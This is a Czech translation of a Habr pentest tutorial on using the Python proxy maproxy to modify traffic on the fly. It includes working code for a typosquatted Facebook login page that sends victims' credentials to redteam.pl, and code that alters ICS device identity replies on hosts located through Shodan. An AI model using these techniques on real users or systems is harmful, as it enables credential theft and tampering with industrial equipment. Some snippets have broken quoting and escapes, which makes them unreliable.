Zpracovávejte síťová data za běhu

Překlad článku byl připraven v předvečer zahájení kurzu "Pentest." Praxe penetračních zkoušek".

Zpracovávejte síťová data za běhu

Anotace

Různé typy bezpečnostních hodnocení, od pravidelného penetračního testování a operací Red Teamu až po hackování IoT/ICS zařízení a SCADA, zahrnují práci s binárními síťovými protokoly, tedy v podstatě zachycování a úpravy síťových dat mezi klientem a cílem. Snímání síťového provozu není obtížný úkol, protože máme nástroje jako Wireshark, Tcpdump nebo Scapy, ale modifikace se zdá být pracnějším úkolem, protože budeme potřebovat nějaké rozhraní pro čtení síťových dat, jejich filtrování, změny. to za běhu a poslat ho zpět do cílového hostitele téměř v reálném čase. Ideální by navíc bylo, kdyby takový nástroj uměl automaticky pracovat s více paralelními připojeními a byl přizpůsobitelný pomocí skriptů.

Jednoho dne jsem objevil nástroj tzv maproxy, dokumentace mi to rychle objasnila maproxy – přesně to, co potřebuji. Jedná se o poměrně jednoduchý, všestranný a snadno konfigurovatelný TCP proxy. Testoval jsem tento nástroj na několika poměrně složitých aplikacích, včetně zařízení ICS (která generují spoustu paketů), abych zjistil, zda zvládne mnoho paralelních připojení, a nástroj fungoval dobře.

Tento článek vás seznámí se zpracováním síťových dat za běhu pomocí maproxy.

Recenze

Nástroj maproxy je založen na Tornado, populárním a vyspělém asynchronním síťovém rámci v Pythonu.

Obecně může pracovat v několika režimech:

  • TCP:TCP – nešifrovaná TCP spojení;
  • TCP:SSL и SSL:TCP – s jednosměrným šifrováním;
  • SSL:SSL – obousměrné šifrování.

Přichází jako knihovna. Pro rychlý začátek můžete použít ukázkové soubory, které odrážejí hlavní knihovní funkce:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Případ 1 – jednoduchý obousměrný proxy

Na základě tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Ve výchozím nastavení ProxyServer() má dva argumenty – umístění připojení a cílový port. server.listen() trvá jeden argument - port pro naslouchání příchozímu spojení.

Spuštění skriptu:

# python tcp2tcp.py

Abychom mohli spustit test, připojíme se k místnímu serveru SSH prostřednictvím našeho proxy skriptu, který naslouchá 2222/tcp port a připojí se ke standardnímu portu 22/tcp SSH servery:

Zpracovávejte síťová data za běhu

Uvítací banner vás informuje, že náš vzorový skript úspěšně zprovoznil síťový provoz.

Případ 2 – úprava dat

Další demo skript logging_proxy.py ideální pro interakci se síťovými daty. Komentáře v souboru popisují metody třídy, které můžete upravit, abyste dosáhli svého cíle:

Zpracovávejte síťová data za běhu

To nejzajímavější je zde:

  • on_c2p_done_read – zachytit data na cestě od klienta k serveru;
  • on_p2s_done_read - obráceně.

Zkusme změnit banner SSH, který server vrací klientovi:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Spusťte skript:

Zpracovávejte síťová data za běhu

Jak vidíte, klient byl uveden v omyl, protože název serveru SSH pro něj byl změněn na «DumnySSH».

Zpracovávejte síťová data za běhu

Případ 3 – jednoduchá phishingová webová stránka

Existuje nekonečně mnoho způsobů, jak tento nástroj použít. Tentokrát se zaměřme na něco praktičtějšího ze strany operací Red Teamu. Pojďme napodobit vstupní stránku m.facebook.com a použít vlastní doménu se záměrným překlepem, např. m.facebok.com. Pro demonstrační účely předpokládejme, že doménu máme registrovanou.

Chystáme se navázat nešifrované síťové připojení s proxy serverem obětí a SSL streamem na server Facebook (31.13.81.36). Aby tento příklad fungoval, musíme nahradit hlavičku hostitele HTTP a vložit správný název hostitele a také zakážeme kompresi odpovědí, abychom měli snadný přístup k obsahu. Nakonec nahradíme HTML formulář tak, aby přihlašovací údaje byly zasílány nám namísto serverů Facebooku:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/cs/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

V souhrnu:

Zpracovávejte síťová data za běhu

Jak vidíte, podařilo se nám úspěšně nahradit původní web.

Případ 4 – Portování Ethernet/IP

Již delší dobu se zabývám průmyslovými zařízeními a softwarem (ICS/SCADA), jako jsou programovatelné automaty (PLC), I/O moduly, pohony, relé, prostředí pro programování žebříčků a mnoho dalších. Tento kufr je pro ty, kteří mají rádi průmyslové věci. Hackování takových řešení zahrnuje aktivní hraní se síťovými protokoly. V následujícím příkladu bych rád ukázal, jak můžete upravit síťový provoz ICS/SCADA.

K tomu potřebujete následující:

  • Síťový sniffer, například Wireshark;
  • Ethernet/IP nebo jen SIP zařízení najdete pomocí služby Shodan;
  • Náš scénář je založen na maproxy.

Nejprve se podívejme, jak vypadá typická identifikační odpověď z CIP (Common Industrial Protocol):

Zpracovávejte síťová data za běhu

Identifikace zařízení se provádí pomocí protokolu Ethernet/IP, což je vylepšená verze protokolu průmyslového Ethernetu, který zahrnuje řídicí protokoly, jako je CIP. Změníme zvýrazněné ID jméno, které je vidět na snímku obrazovky "NI-IndComm pro Ethernet" pomocí našeho proxy skriptu. Můžeme znovu použít skript logging_proxy.py a podobně upravit metodu třídy on_p2s_done_read, protože chceme, aby na klientovi bylo vidět jiné jméno identity.

Kód:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

V podstatě jsme dvakrát požádali o identifikaci zařízení, druhá odpověď byla původní a první byla za běhu upravována.

A poslední

Podle mého názoru maproxy Pohodlný a jednoduchý nástroj, který je také napsán v Pythonu, takže věřím, že i vy můžete mít z jeho používání užitek. Samozřejmě existují složitější nástroje pro zpracování a úpravu síťových dat, ale také vyžadují větší pozornost a většinou jsou vytvořeny pro konkrétní případ použití, kupř. muraena, Modliška nebo evilginx pro případy podobné třetímu, popř canape pro poslední případ. Tak či onak, s pomocí maproxy můžete rychle implementovat své nápady na zachycení síťových dat, protože ukázkové skripty jsou velmi jasné.

Testování autentizačních mechanismů ve Windows AD

Zdroj: www.habr.com

Přidat komentář